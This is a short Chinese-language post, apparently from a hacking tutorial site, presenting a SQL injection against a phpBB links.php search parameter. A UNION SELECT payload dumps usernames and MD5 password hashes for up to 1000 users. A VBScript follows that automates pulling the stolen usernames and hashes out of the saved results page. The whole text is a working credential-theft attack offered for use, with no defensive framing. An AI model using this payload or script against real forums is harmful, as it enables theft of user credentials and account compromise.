注入代码如下:

links.php?t=search&search_keywords=asd&start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id limit 0,1000/*

这样就提取了1000个用户名和md5，将上边的保存成htm，要挨个提取出md5和用户名很麻烦，写了段代码。这段代码我很满意，估计是最简单的提取方法了，呵呵。

代码如下：

'用法示例：cscript //Nologo this.vbs c:\11000.htm >c:\1.txt
复制代码 代码如下:
on error resume Next
Set ie=WScript.CreateObject("InternetExplorer.Application")
set arg=wscript.arguments
if arg.count=0 then wscript.quit
ie.visible=false
ie.navigate arg(0)
While ie.Busy
WScript.Sleep 100
Wend
Do
Wscript.Sleep 200
Loop Until ie.ReadyState=4
For i=12 To ie.Document.links.length-2
data=ie.Document.links(i).innerText
If data <>13 Then
wscript.echo data
wscript.echo ie.Document.links(i).alt
End if
next
msgbox "转换完毕"